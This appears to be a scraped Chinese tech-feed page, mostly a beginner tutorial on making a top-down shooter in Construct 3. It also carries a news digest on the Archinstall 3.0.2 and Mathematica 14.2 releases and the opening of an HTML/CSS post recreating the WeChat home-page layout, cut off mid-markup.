这些对象被命名为 Sprite、Sprite2、Sprite3 和 Sprite4。这样不太好 - 事情很快就会变得混乱。根据我们的需要将它们重命名为 Player(玩家)、Monster(怪物)、Bullet(子弹) 和 Explosion(爆炸)。选择对象,在属性栏点击选择其中的 名称(Name) 属性来重命名对象:

添加图片注释,不超过 140 字(可选)

(单击主工具栏(main toolbar)中的“保存项目”按钮 ,保存一下我们的工作吧。)

添加图片注释,不超过 140 字(可选)

三、添加行为

行为(Behaviors)是使对象以某种方式运行的便捷方法。例如,您可以向对象添加“平台”(Platform)行为,将“实体”(Solid)行为添加到地板上,然后您可以立即像平台游戏一样跳来跳去。您通常可以使用事件(event)来实现同样的效果,但使用“行为”要快捷得多!Construct 具有多种行为,以下是与本教程相关的一些行为。

  • 8 方向运动(8 Direction movement):这使您可以使用方向键控制对象移动。它通常用来实现游戏主角的移动。

  • 子弹运动(Bullet movement):将物体以当前角度向前移动。它对控制玩家的子弹很有效。尽管名字叫子弹运动,但它也可以很好地移动怪物 - 因为运动所做的只是以一定的速度向前移动对象。

  • 镜头跟随(Scroll to):使屏幕跟随对象四处移动(也称为滚动(scrolling))。这会使视图保持以玩家位置为中心。

  • 边界约束(Bound to layout):这将阻止对象离开布局区域。这对玩家对象也很有用,使他们不能移动到游戏区域以外!

  • 出界销毁(Destroy outside layout):这不会阻止对象离开布局区域,而是会销毁出界的对象。它对我们的子弹很有用。没有它,子弹将永远在屏幕以外飞行,这些子弹总是会消耗内存和处理能力。所以,我们应该在子弹离开布局后销毁它们。

  • 淡入淡出(Fade):这会使对象淡出,我们会使用在爆炸中。

让我们将这些行为添加到需要它们的对象中。

如何添加行为

我们将 8方向运动行为添加到玩家对象。单击选中玩家对象。在“属性栏”中,找到“行为”类别。单击此处的“行为”链接。将打开玩家对象的“行为”对话框。

添加图片注释,不超过 140 字(可选)

“行为”对话框(The Behaviors dialog )

点击行为对话框中的“添加新行为”。双击添加 8 方向运动。

添加图片注释,不超过 140 字(可选)

重复相同的步骤,为玩家对象添加“镜头跟随”行为,使屏幕跟随玩家。然后,再添加“边界约束”行为,把玩家对象限制在布局范围以内。行为对话框现在应如下所示:

添加图片注释,不超过 140 字(可选)

关闭“行为”对话框。现在尝试按“预览”来运行到目前为止的游戏!你会注意到,在预览窗口中您已经可以使用方向键控制玩家四处移动,并且屏幕会跟随玩家。由于“边界约束”行为,您也无法走出布局区域。这就是行为的好处 - 快速添加通用功能。我们将很快使用事件系统来添加自定义功能。

添加图片注释,不超过 140 字(可选)

添加其他行为

我们可以通过相同的方法将行为添加到其他对象 - 选择对象,点击“属性栏”中的“行为”链接以打开行为对话框,然后添加一些行为。让我们添加以下其他行为:

  1. 将 子弹运动 和 出界销毁 添加到 Bullet 对象(通常都是这样做)。

  2. 将 子弹运动 添加到 Monster 对象(因为它也向前移动,只是速度较慢)。

  3. 将“淡入淡出”行为添加到“ Explosion”对象(使其在出现后逐渐消失)。默认情况下,淡入淡出行为会在对象淡出后销毁对象,这也让我们不必担心不可见的爆炸对象会消耗游戏资源。

如果你运行游戏,你会发现一个不满意的地方:你会看到怪物突然快速地冲出去。让我们放慢他们的步伐。选择 Monster 对象。请注意,我们添加了行为以后,属性栏中出现了一些额外的属性:

添加图片注释,不超过 140 字(可选)

这些属性使我们能够调整行为的工作方式。将速度从 400 更改为 80(以每秒行进的像素为单位)。

类似的,将 Bullet 对象的速度更改为 600,将 Explosion 对象的 Fade 行为的 淡出时间(Fade out time)更改为 0.5(即半秒)。

创造更多的怪物

按住 Control 键,按住鼠标左键并拖动 Monster 对象。您会注意到它创建了另一个实例(instance)。这只是 Monster 对象类型(object type)的另一个对象。

对象类型(object type)本质上是对象的“类”(classes)。在事件系统(event system)中,主要处理对象类型。例如,您可以创建一个事件:“Bullet 碰撞到 Monster”。这实际上意味着“Bullet 对象类型的任何实例都会与 Monster 对象类型的任何实例发生碰撞”——而不是必须为每个怪物创建一个单独的事件。稍后我们将详细介绍对象类型与实例。现在,一个很好的例子是不同类型的敌人是不同的对象类型,那么实际的敌人本身(可能有几个)就是这些对象类型的实例。

使用 Control + 拖动(drag),创建 7 或 8 个新怪物。不要把怪物放在离玩家太近的地方,否则玩家可能会立即死亡!请记住,如果需要,您可以使用 Control + 鼠标滚轮向下来缩小视图,并将怪物分散在整个布局中。你最终应该得到类似下图的东西。

添加图片注释,不超过 140 字(可选)

现在是时候使用 Construct 的可视化编程方法 - 事件(event) 来添加我们的自定义逻辑了!

(记得保存一下我们的工作。)

四、添加事件

事件

首先,单击顶部的“事件表1”选项卡(Event sheet 1 tab)以切换到“事件表视图”(Event Sheet View)。事件的列表称为事件表(Event sheet),您可以为游戏的不同部分或组织设置不同的事件表。事件表还可以“包含”(include)其他事件表,允许您在同类事物上多次重用事件,但我们现在不需要这样做。

添加图片注释,不超过 140 字(可选)

关于事件

如空工作表中的提示文本所示,Construct 每次分时运行一次事件工作表中的所有内容。大多数屏幕每秒更新显示 60 次,因此 Construct 将尝试匹配它以获得最流畅的显示。这意味着事件表通常每秒运行 60 次,每次都会重新绘制屏幕。这就是 tick(刻度、滴答声) - 一个“运行事件然后绘制屏幕”的单位。

事件从上到下运行,因此首先运行事件表顶部的事件。

添加图片注释,不超过 140 字(可选)

条件、动作和子事件

事件由条件(conditions)组成,并检测是否满足这些条件,例如“空格键是否按下?“。如果满足所有这些条件,则事件的动作(actions)将全部运行,例如“创建 bullet 对象”。动作运行后,还会运行子事件(sub-events) - 然后可以测试更多条件,然后运行更多动作,然后运行更多子事件,依此类推。使用这个系统,我们可以为我们的游戏和应用程序构建复杂的逻辑。不过,在本教程中,我们不需要子事件。

让我们梳理一下。简而言之,事件基本上是这样的:

是否满足所有条件?

  • 是:运行事件的所有动作。

  • 否:进入下一个事件(跳过当前事件的任何子事件)。

这有点过于简单化了。Construct 提供了许多事件功能,涵盖了您可能需要执行的许多不同操作。然而,就目前而言,这是一个很好的思考方式。

您的第一个事件

我们想让玩家始终注视鼠标光标。所以,我们需要创建如下的事件:

添加图片注释,不超过 140 字(可选)

请记住,每次绘制屏幕时都会运行一个 tick,因此,如果我们让玩家在每个 tick 都指向鼠标光标位置,他们将始终面向鼠标光标。

让我们开始创建这个事件。双击事件工作表中的空白区域,这时会提示我们为新事件添加条件。

添加图片注释,不超过 140 字(可选)

不同的对象具有不同的条件和动作,具体取决于它们各自的属性。在这里可以看到 系统(System) 对象,它表示 Construct 的内置功能。双击 系统对象,会显示如下的对话框,其中列出了 System 对象的所有条件:

添加图片注释,不超过 140 字(可选)

双击 每一帧(Every tick )条件以使用它创建事件。对话框将关闭并创建了一个事件,这个新事件没有包含任何动作。

添加图片注释,不超过 140 字(可选)

现在我们要添加一个动作,让玩家朝向鼠标光标。单击事件右侧的 添加动作 链接。(确认是“添加动作”链接,而不是其下方的“添加事件”链接,“添加事件”链接将再次添加一个完全不同的事件。)将出现“添加动作”对话框:

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

与添加事件时一样,我们有相同的对象列表可供选择,但这次用于添加动作。尽量不要混淆添加条件和添加动作!如图所示,双击 Player 对象,因为我们想让它朝向鼠标光标。此时将显示 Player 对象中可用的动作列表:

添加图片注释,不超过 140 字(可选)

在这里可以注意一下玩家 player 的 8方向 具有哪些动作。不过,我们现在还用不上。

与其将玩家的角度设置为一个数值,不如“朝向位置”(Set angle towards position)动作更方便。这将自动计算从玩家到给定 X 和 Y 坐标的角度,并自动设置对象的角度。双击选择列表中的“朝向位置”(Set angle towards position) 动作。

Construct 现在需要知道 X 和 Y 坐标才能将玩家朝向那里:

添加图片注释,不超过 140 字(可选)

X 和 Y 字段( field)称为动作的参数(parameter)。条件也可以有参数,但 每一帧(Every tick )条件 不需要参数。

我们想设置角度到朝向鼠标的位置。Mouse 对象可以提供这个坐标。输入 X 为 Mouse.X, Y 为 Mouse.Y。这些称为表达式(expressions)。表达式就像是运算的组合。例如,您也可以输入 Mouse.X + 100 or sin(Mouse.Y) (尽管这些特定示例可能没有实际意义!)。这样,您可以使用来自任何对象或算式的数据来计算 动作 和 条件 中的参数。它非常强大,是 Construct 大部分灵活性的隐藏来源。

如果收到“Mouse 不是对象名称”的错误,请查看右上角的 项目栏,确保添加了 Mouse 对象!否则,请返回第 2 页,检查 添加输入对象 步骤。

添加图片注释,不超过 140 字(可选)

您可能会问:如何记住所有可用的表达式。首先,您可能会注意到 Construct 在您键入表达式时会显示一个列表。这称为自动完成(autocomplete),会显示出每个不同的位置可用的表达式。其次,还有表达式手册,其中列出了所有表达式。如果鼠标移出表达式手册窗口,它将会变得透明,使你可以查看表达式的编辑情况。您可以点击链接使用“表达式手册”。您可以双击“表达式手册”中的对象以查看其所有表达式的列表。如果双击某个表达式,它也会为您插入该表达式,这样您就不必自己输入了。

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

最后,单击参数对话框中的“完成”,动作已添加!像我们之前看到的,它应该是这样的:

添加图片注释,不超过 140 字(可选)

这是您的第一个事件!尝试运行游戏,玩家现在应该能够像以前一样四处走动,但始终面向鼠标光标。这是我们的第一个自定义逻辑。

五、更多游戏逻辑

添加条件或动作的步骤

如果每个事件都像前文一样详细描述,那将是一个相当长的教程。让我们对接下来的事件进行更简短的描述。请记住,添加条件或动作的步骤如下:

  1. 在事件表视图双击空白区域(或点击“添加事件”链接)以插入新事件,或单击“添加动作”链接以添加动作。

  2. 双击选择条件/动作所在的对象。

  3. 双击选择所需的条件/动作。

  4. 如果需要参数,请输入参数。

从现在开始,事件将被描述为对象,后跟条件/动作,后跟任何参数。

例如,我们刚刚插入的事件可以写成:

添加条件 系统►每一帧

添加动作 Player►朝向位置,参数 X:Mouse.X , Y:Mouse.Y

让 PLAYER 射击

当玩家点击鼠标时,游戏主角需要射出一颗子弹。这可以通过 Player对象 中的 “生成其他对象”(Spawn an object ) 动作来完成,该动作会在与 Player 相同的位置和角度创建 Bullet 对象的新实例。然后,我们之前添加的 子弹运动 将使 Bullet 向前飞出。创建以下事件:

条件:Mouse►鼠标点击►参数:左键,点击(默认参数)

动作:Player►生成其他对象►参数:选择 Bullet 对象。保持其他参数不变。

您的事件现在应如下所示:

添加图片注释,不超过 140 字(可选)

如果你运行游戏,你可以发射子弹!但是,您可能会注意到子弹是从玩家的中间射出的,而不是从枪的末端射出的。让我们通过在枪的末端放置一个图像点( image point)来解决这个问题。图像点只是图像上的一个位置,您可以从那里生成对象,我们可以在 “生成其他对象”(Spawn an object ) 动作中引用它。

右键单击“项目栏”中的 Player对象,然后选择“编辑动画”(Edit animations)。

添加图片注释,不超过 140 字(可选)

player 对象的图像编辑器将重新出现。单击 编辑图像点 工具:

...然后侧窗格将转到图像点列表:

添加图片注释,不超过 140 字(可选)

请注意,图像原点(origin)会显示在列表中。这是对象的“热点”或“枢轴点”("hotspot" or "pivot point")。如果旋转对象,它将围绕图像原点旋转。就像我们刚才的操作,就是在 图像点 0 处生成 Bullet 对象的。我们想添加另一个图像点来表示枪支,因此在列表中单击鼠标右键并选择“添加新的图像点”。列表中将出现一个新的 图像点1,并且图像上会出现一个图标,以指示 图像点1 的位置。在玩家枪的末端左键单击,将图像点放置在那里:

添加图片注释,不超过 140 字(可选)

关闭图像编辑器。双击我们之前添加的“生成对象”动作,然后将“图像点”指向更改为 1 。该事件现在应如下所示 - 请注意,参数已经改为 图像点 1:

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

再次预览游戏。子弹现在从你的枪头射出!不过,子弹还没有做任何事情。然而,希望你会开始意识到,一旦你掌握了事件系统,你就可以非常快速地将游戏的逻辑组合在一起。

我们需要让子弹杀死怪物。添加以下事件:

条件:Bullet►碰撞到其他对象(On collision with another object)►参数:Monster对象。

动作:Monster►销毁对象(Destroy)

动作:Bullet►生成其他对象►参数:Explosion对象

动作:Bullet►销毁对象

下面是事件完成的样子。

添加图片注释,不超过 140 字(可选)

爆炸效果

预览游戏,并尝试射击怪物。哎呀,爆炸有那个大的黑色边框!

添加图片注释,不超过 140 字(可选)

你可能从一开始就预料到它会是这样的,并想知道我们的游戏是否真的会变成这样!别担心,它不会的。单击项目栏中的 Explosion 对象。其属性显示在左侧的属性栏中。在“效果”(Effects)部分中,将其“混合”模式( Blend mode)设置为“叠加”(Additive)。现在再试一次游戏。

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

这是什么原理啊?无需过多讨论具体细节,普通图像将覆盖在屏幕图像顶层。使用叠加混合模式时,图像的每个像素都会与后面的背景图像像素相加(就像加法运算)。黑色的颜色值是零,因此不会添加任何内容 - 您看不到黑色背景。颜色越亮,效果越好,效果越强烈。它非常适合爆炸和灯光效果。

让怪物更聪明一点

现在,怪物只是在布局中一直向右边走。我们要让它们更有趣一点。首先,要让它们在开始时有不同的方向。

条件:系统►场景开始时(On start of Layout)

动作:Monste►设置角度(Set angle to)►参数: 生成随机数(360) (random(360))

当怪物走到布局外时,他们仍然会继续向前走,再也看不到了。我们要把它们留在游戏里。我们要做的是在怪物离开布局时将它们重新指向玩家。这有两个效果:怪物始终保持在布局内,如果玩家静止不动,怪物最终会向他走来!

条件:Monster►在场景外(Is outside layout)

动作: Monster►朝向位置(Set angle toward position)►参数: X: Player.X Y: Player.Y

以下是两个事件完成的样子。

添加图片注释,不超过 140 字(可选)

运行游戏。如果你在附近徘徊一会儿,你会注意到怪物也在布局里面游荡,它们会向各个方向移动。这几乎说不上是人工智能,但是效果不错!

现在,假设我们要击中怪物五次才能杀死它,而不是像现在这样立即死亡。我们要怎么做到呐?如果我们只存储一个“生命值”计数器,那么一旦我们击中怪物五次,所有的怪物都会死亡。相反,我们需要每个怪物都记住自己的健康情况。我们可以使用实例变量(instance variables)来做到这一点。

六、使用实例变量

实例变量(instance variable)允许每个怪物存储自己的生命值。变量(variable)是一个可以更改(或变化)的值(value),如果它们为每个实例单独存储,就称为实例变量。

让我们为 monster 添加一个“健康值”实例变量。添加实例变量的操作步骤与添加行为类似。单击项目栏中的monster。 或者,您可以使用顶部的选项卡切换回布局并选择一个 monster 对象。这将在属性栏中显示怪物的属性。 单击“实例变量”以打开“实例变量”对话框。

添加图片注释,不超过 140 字(可选)

您可以根据需要向对象添加任意数量的实例变量,但我们现在只需要为 monster 创建一个实例变量。单击“添加实例变量”。将显示以下对话框,用于添加实例变量。

键入“健康值”作为名称,将 类型(Type) 保持为 数值型(Number),初始值(Initial value)输入 5(如下所示)。这将使每个怪物的 5 点生命值开始。当它们被击中时,我们将从生命值中减去 1,然后当生命值为零时,我们将销毁该对象。

添加图片注释,不超过 140 字(可选)

完成后,单击“确定”。 请注意,该变量现在出现在实例变量对话框中,也出现在怪物的属性中。您可以在属性栏中快速更改初始值,但要添加或删除变量,您需要打开实例变量对话框。另请注意,布局中的每个对象也可以设置不同的实例变量值,因此您可以以不同的生命值启动每个怪物。

修改事件

使用顶部的选项卡切换回事件表。现在,子弹击中怪物就会销毁它们。接下来,我们要修改为从其健康值中减去 1。

找到显示 “Bullet:碰撞到 Monster" 的事件。请注意,我们有一个“ monster 销毁对象”的动作。让我们用“ monster 变量 健康值 减少 1”来代替它。右键单击“ monster 销毁对象”动作,然后单击“替换动作指令”(Replace action)操作。

添加图片注释,不超过 140 字(可选)

像我们 添加动作 时一样,出现了同样的 添加动作 对话框。选择 Monster►减少值(Subtract from)(在 实例变量 类别中),选择实例变量 “健康值”,然后输入参数 值:1 。单击完成。该事件现在应如下所示:

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

现在,当我们射击怪物时,它们会失去 1 点 健康值 并且子弹会爆炸,但我们还没有在怪物的生命值达到零时杀死它们。添加另一个事件:

条件:Monster►比较实例变量►健康值,小于或等于(Less or equal),0

动作: Monster►生成其他对象►Explosion

动作:Monster►销毁对象

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

为什么是“小于或等于 0”而不是“等于 0”?假设我们添加了另一种更强大的武器,从 健康值 中减去 2。当你射杀一个怪物时,它的生命值会变为 5、3、1、-1、-3......请注意,它的生命值在任何时候都不会直接等于零,所以它永远不会死!因此,最好使用“小于或等于”来测试某些东西的健康状况。

运行游戏。你现在必须击中怪物五次才能杀死它们!

七、保存得分

我们的游戏需要一个分数(score),这样玩家就能知道他们做得有多好。为此,我们需要另一个变量。你可能会想“让我们把分数作为玩家的实例变量之一!这并不是一个糟糕的想法,但请记住,实例变量存储在对象“里面”。如果没有实例,也没有变量!因此,如果我们摧毁了玩家,我们就无法再分辨他们的分数是多少,因为它是与玩家一起被摧毁的。

这时,我们可以使用全局变量(global variable)。与实例变量一样,全局变量(或简称为“全局”)可以存储文本或数字(text or a number)。每个变量可以存储单个数字或单个文本。全局变量也可用于整个游戏的所有布局 - 如果我们要添加其他关卡,这很方便。

右键单击事件工作表底部的空白区域(或者事件表右下角的“添加...”链接),然后选择 添加全局变量。

添加图片注释,不超过 140 字(可选)

输入 “得分” 作为名称。其他字段默认值就好,它会成为一个初始值为 0 的数字。

添加图片注释,不超过 140 字(可选)

现在,这个全局变量成为单独的一行,并显示在事件表中。它位于这个事件表中,但可以从任何布局中的任何事件表访问它。

添加图片注释,不超过 140 字(可选)

还有一些局部变量( local variables)只能由较小的事件“范围”(scope)访问,但我们现在不需要担心这一点。

玩家每杀死一个怪物就记1分。在我们的 “Monster:健康值 小于或等于 0” 事件(当怪物死亡时)中,单击“添加动作”,然后选择“系统”►“增加值”(Add to)(在“全局和局部变量”( Global & local variables)下),然后选择“得分”,值为 1 。现在,事件应如下所示:

添加图片注释,不超过 140 字(可选)

现在玩家有一个得分,他们每杀死一个怪物,得分就会增加 1 - 但他们看不到他们的分数!让我们用一个文本对象向他们展示它。

八、显示分数

为了显示玩家的分数,我们将使用 Text(文本) 对象。但是,我们希望将其显示在屏幕上的固定位置。镜头是跟随玩家移动的,但我们不希望分数在玩家离开时消失!要解决此问题,我们需要添加一个新图层。

添加图层

布局可以由多个图层(layer)组成,您可以使用这些图层对对象进行分组。想象一下,像玻璃板一样的层层叠叠,每张玻璃板上都画着物体。它允许您轻松地排列某些对象出现在其他对象之上,并且可以隐藏、锁定图层、应用视差效果等。我们希望我们的分数显示在其他所有内容之上,并且保持在屏幕上的同一位置,因此我们可以添加一个新图层来执行这些操作。

尽量不要混淆布局和图层。这些东西看起来很相似。

将注意力转向图层栏(Layers Bar)。默认情况下,它位于屏幕的右下角。

添加图片注释,不超过 140 字(可选)

The Layers Bar 图层栏

您应该在列表中看 图层0。

Construct 3 从零开始计数,因为这样在编程中工作得更好。

在图层栏中单击鼠标右键,然后选择 “在顶部添加图层”(Add layer at top)。(请务必将其添加到顶部(top),而不是底部(bottom),因为我们希望分数显示在其他所有内容的顶部!添加时,您可以立即输入名称。输入HUD,它代表平视显示器 - 这是一个用于所有屏幕信息的术语。

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

现在,确保在图层栏中选择了“HUD”图层。这很重要 - 所选图层是活动图层(active layer)。所有新添加的对象都会添加到活动图层中,因此,如果未选择它,我们稍后会意外地将 Text 对象添加到错误的图层中。活动图层显示在布局视图右下角的状态栏(status bar)中 - 值得关注。(如果“HUD”图层不是活动图层,请在右下角 图层栏 点击“HUD”图层。)

添加图片注释,不超过 140 字(可选)

视差

HUD 应始终保持在屏幕上的同一位置。默认情况下,图层会随着镜头的移动而滚动(scroll)。为了将它们保留在屏幕上,我们可以使用图层视差(Parallax)设置。视差允许不同的图层以不同的速率(rate)滚动,以获得一种半 3D(semi-3D) 效果。但是,如果我们将视差设置为零,则图层根本不会滚动 - 非常适合HUD。

由于您已选择 HUD 图层,因此其属性会显示在左上角的属性栏中。 将“滚动视差”属性(Parallax property)设置为 0 x 0(X 轴和 Y 轴(X and Y axes)均为零)。

添加图片注释,不超过 140 字(可选)

现在我们有一个 HUD 图层,我们可以在其中放置出现在屏幕上固定位置的对象!但是,我们还没有在图层里面创建对象。

添加 TEXT 对象

使用顶部的选项卡切换回布局视图。确保在图层栏中选择了 HUD 图层,以确保将 Text 对象添加到正确的图层中。在布局中双击空位以添加另一个对象。这一次,请选择 Text 对象。(如果双击后弹出了背景的图像编辑器,请右键点击背景对象►设定►锁定选择——以锁定背景对象。)

尽量不要将显示一些文本的 Text 对象与 文本框 对象(Text input object)混淆,后者是用户可以在其中键入一些文本的框(例如,对于表单)。

将 Text 对象放在布局的左上角。显示的黑色文字不够醒目,因此在属性栏中,将其设置为粗体、斜体、黄色,并选择稍大的字体大小。调整 Text 对象的大小以适应合理数量的文本。它应该看起来像这样:

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

如果文本对象太小而无法容纳框中的第一个单词,则它们将不会在游戏中显示任何文本。如果未显示任何文本,请尝试将 Text 对象调整为较大大小。

切换回事件表。让我们用玩家的分数来更新文本。在我们之前添加的 每一帧 事件中,添加操作 Text►更改文本(Set text)。

使用 & 运算符(operator),我们可以将一个数字转换为文本并将其连接到另一个文本字符串(string)。因此,对于参数:文本,请输入:

"得分: " & 得分

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

添加图片注释,不超过 140 字(可选)

第一部分 ( "得分: " ) 表示文本将始终以文字 得分: 开头。预定义的文本必须出现在表达式中的双引号中。第二部分 ( 得分 ) 是 Score 全局变量的实际值。& 运算符将它们连接在一起形成一段新的文本。

运行游戏,并射击一些怪物。您的分数将显示出来,并且它保持在屏幕上的同一位置!

九、收尾

添加一些润色

我们快完成了。让我们添加一些最后的润色。

首先,让我们定期生成一些怪物,否则一旦你射杀了所有的怪物,就没有什么可做的了。我们将每 3 秒创建一个新怪物。添加新事件:

条件:系统►每隔 X 秒执行(Every X seconds)►3

动作: 系统►创建对象(Create object)►参数:Monster, 图层 0 (这是主要图层), X: LayoutWidth + 100(场景宽度+100), Y: random(LayoutHeight)(生成随机数(场景高度))

请注意,这是沿布局右边缘外的随机位置。这就是怪物的来源。我们还将它们创建在更右边 100 像素(pixels)处,这样玩家就不会看到它们突然出现在边缘,而是从外面进来。

最后,让我们让幽灵可以杀死玩家。

条件:Monster►与另一个物体碰撞时►Player

动作:Player►摧毁

添加图片注释,不超过 140 字(可选)

尝试更多想法

想走得更远吗?以下是一些添加额外内容的想法:

  • 让玩家击中怪物时和杀死怪物时获得不同的积分。您可以调整每种情况获得的分数。

  • 让怪物们的速度逐渐增加,这样它们就更难被击中和躲避。

  • 添加另一种敌人!

  • 添加另一种武器,它使用不同的鼠标按钮或键盘控制。

  • 添加 Audio(音频) 对象,导入一些声音文件,并添加音效或音乐(sound effects or music)。

  • 添加标题屏幕(启动屏幕)。使用“系统对象转到布局”操作在它们之间切换。

  • 在关卡设计中引入一些风景或障碍物(scenery or obstacles)。

  • 添加“游戏结束”屏幕,或在游戏主角死亡时发生其他事情。

总结

恭喜你,你已经在 Construct 中制作了你的第一款游戏!如果你想展示你的作品,请使用菜单►项目►导出(Menu►Project►Export)。您可以发布到 Construct 免费游戏社区 Scirra Arcade www.construct.net/en/free-onl…,也可以使用 Web (HTML5) 导出上传到您自己的 Web 服务器。您可以发布到其他平台,但您需要订阅才能访问 Construct 3 的全部功能。

您已经学习了有关 Construct 的一些重要基础知识:添加对象、使用行为、事件、图层等。希望这应该让您做好充分的准备,以了解有关 Construct 的更多信息!尝试探索它的功能,看看它能为您做什么。

成品

单击此处打开已完成的游戏,或在起始页中搜索 Ghost shooter 教程。它添加了一些额外的功能,例如一些“游戏结束”文本,以及逐渐加速的怪物。还有很多评论(关于事件的简单的注释)描述它是如何工作的。

如果您喜欢本教程,并且认为您认识的人可能也喜欢 Construct,为什么不向他们发送本教程的链接呢?

WHAT NEXT? 下一步学习什么?

想走得更远?以下是关于进一步学习的一些想法。

  • 看看教程如何学习 Construct 3?初学者的后续步骤。这是一个很好的指南,可以继续学习 Construct 3!

  • 尝试网站教程部分中的其他一些教程!

  • 请查看 Construct 3 手册,其中有一节详细介绍了事件的工作原理

  • 浏览起始页中的示例。他们展示了 Construct 中的各种功能。

  • 在起始页中试用演示游戏。你也可以尝试“破解”它们,比如试图弄清楚在事件中要改变什么,给自己无限的生命、更快的移动或更强大的武器。

  • 参与 Construct 3 社区!(非官方中文社区【Construct2/3篝火堆】QQ群:180911504。)

  • 购买订阅并试用 Construct 3 的全部功能!

by 费误杂工 at January 29, 2025 02:27 AM

January 28, 2025

juejin career

[250129] Archinstall 3.0.2 发布 | Wolfram 语言与 Mathematica 14.2 版本发布

Archinstall 3.0.2 版本发布

Archlinux 的自动化安装程序 Archinstall 发布了 3.0.2 版本,该版本带来了大量的改进和修复,以及一些新功能和贡献者。

新功能:

  • 新增 Wayfire 支持(此功能在 AUR 中,由于过早包含在发行版中,将在 3.0.3 中移除。arch 包 archinstall-3.0.2-2 通过补丁移除了此配置文件,因此无法选择)。

改进和修复:

  • 大量的代码改进和清理,提升了代码质量和可读性。
  • 使用数据类改进参数和配置管理。
  • 修复了列表菜单中提示符的问题。
  • 改进了 Btrfs 文件系统的支持和修复了相关错误。
  • 更新了 Plasma 桌面环境的安装脚本。
  • 修复了镜像列表处理中的错误。
  • 改进了磁盘操作的可靠性,移除了重试和超时机制。
  • 重构了多个函数,例如 enable_sudo()set_hostname()set_mirrors() 等,使其更加简洁高效。
  • 修复了预挂载 Btrfs 子卷根目录检测的问题。
  • 将帮助菜单触发键改为 Ctrl+h。
  • 修复了 GNOME 的拼写错误。
  • 改进了 LUKS 加密的处理。
  • 重构了手动分区流程。
  • 增加了创建交换分区的功能。
  • 修复了本地和远程镜像列表解析的错误。
  • 修复了控制台滚动的问题。
  • 修复了表格标题未对齐的问题。
  • 增加了跳过分区菜单的选项。
  • 修复了 pylint 在构建过程中不需要 root 权限的问题。

移除的功能:

  • 移除了已弃用的 swiss 配置。
  • 移除了自 2022 年以来已弃用的 reiserfs 文件系统支持。

其他:

  • 文档更新,使用了 Matrix 频道邀请链接,并将 libera.chat IRC 链接设为可点击。
  • 将贡献者列表替换为指向贡献者页面的链接。

来源:
github.com/archlinux/a…

Wolfram 语言与 Mathematica 14.2 版本发布

Stephen Wolfram 宣布 Wolfram 语言和 Mathematica 14.2 版本正式发布!该版本着重于大数据处理、人工智能的深度整合以及多项核心功能的改进。

🌟 主要亮点

  • 笔记本助手聊天功能全面融入:
    现在任何笔记本中都可以使用聊天单元格,通过 ' 即可启动与笔记本助手的对话,将自然语言转换为 Wolfram 语言代码,极大提升了编程效率和用户体验。
  • 全新 Tabular 数据结构,高效处理海量数据:
    Tabular 为处理行列式数据提供了一种精简高效的方式,能够轻松处理千兆字节级别的数据,无论是在内存中还是内存外。它支持类似变量的列操作、灵活的数据筛选和聚合、与数据库的无缝连接以及与 Wolfram 知识库和数据存储库的集成。
  • 符号数组的代数运算:
    14.2 版本扩展了符号数组的功能,首次实现了符号数组的代数运算自动化,并支持简化包含符号数组的表达式,为数学和科学计算提供了更强大的工具。
  • 语言改进:
    新增和增强了 DiscardSelectMissingFallbackFailsafeHoldCompleteFormCountsAssociationComap 等函数,进一步提升了语言的表达能力和代码的健壮性。
  • 色彩焕新:
    默认颜色方案进行了更新,使图形和可视化效果更加生动鲜明。
  • LLM 功能精简和流式处理:
    LLM Kit 的发布使得 LLM 功能更加易于使用,并新增了 LLMSynthesizeSubmitChatSubmit 函数,支持从 LLM 获取增量结果,提升了交互体验。
  • 并行计算优化:
    并行计算的配置过程得到并行化处理,大大缩短了启动时间。ParallelTable 现在可以自动跨多个变量并行化,进一步提高了计算效率。
  • 视频对象跟踪:
    新增了 VideoObjectTracking 函数,可以跟踪视频帧之间的对象移动,并使用 HighlightVideo 函数进行可视化。
  • 博弈论功能:
    新增了内置函数用于博弈论分析,支持矩阵博弈和树形博弈,并提供了一个包含 50 个标准博弈的数据库 GameTheoryData
  • 天文学计算的进步:
    新增了 FindAstroEvent 函数,用于查找天文事件和特殊的天体配置,例如日月食、行星合相等。
  • 磁场系统的偏微分方程建模:
    新增了用于静态和准静态磁场建模的内置原语,并与其他建模领域(如传热、流体动力学、声学等)无缝集成。
  • 图形、几何和图的新功能:
    扩展了图形和几何计算功能,例如支持对贝塞尔曲线填充区域进行几何运算,以及新增了 MoleculeMesh 函数,可以从分子结构构建可计算几何图形。
  • 用户界面改进:
    选项值的自动补全功能得到增强,支持上下文名称、上下文别名和包含上下文的符号的自动补全。此外,还增加了将图像从笔记本拖动到其他应用程序的功能,以及 macOS 上的图标预览和 快速查看功能的增强。
  • GPU 原生支持的开端:
    引入了 GPUArray 结构,用于表示可由 GPU 直接访问的数据数组,并支持在 GPU 上执行部分运算,为未来的 GPU 加速计算奠定了基础。

除了以上主要功能外,14.2 版本还包含许多其他小的改进和增强,具体可参考官方文档:
writings.stephenwolfram.com/2025/01/lau…




更多内容请查阅 : blog-250129


关注微信官方公众号 : oh my x

获取开源软件和 x-cmd 最新用法

by xcmd at January 28, 2025 11:55 PM

juejin ios

画一个跟微信首页的布局

微信首页布局实现

项目需求

本项目旨在实现一个类似于微信首页的布局,包含顶部导航栏、搜索框、聊天列表等元素。我们将使用 HTML 和 CSS 来构建这个布局。

代码结构

我们的代码将分为以下几个部分:

  1. HTML 结构
  2. CSS 样式

HTML 结构

以下是微信首页的基本 HTML 结构:

<!DOCTYPE html>
<html lang="zh">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="styles.css">
    <title>微信首页</title>
</head>
<body>
    <div class="container">
        <header class="header">
            <h1>微信</h1>
        </header>
        <div class="search-bar">
            <input type="text" placeholder="搜索">
        </div>
        <ul class="chat-list">
            <li class="chat-item">
                <div class="avatar">A</div>
                <div class="chat-info">
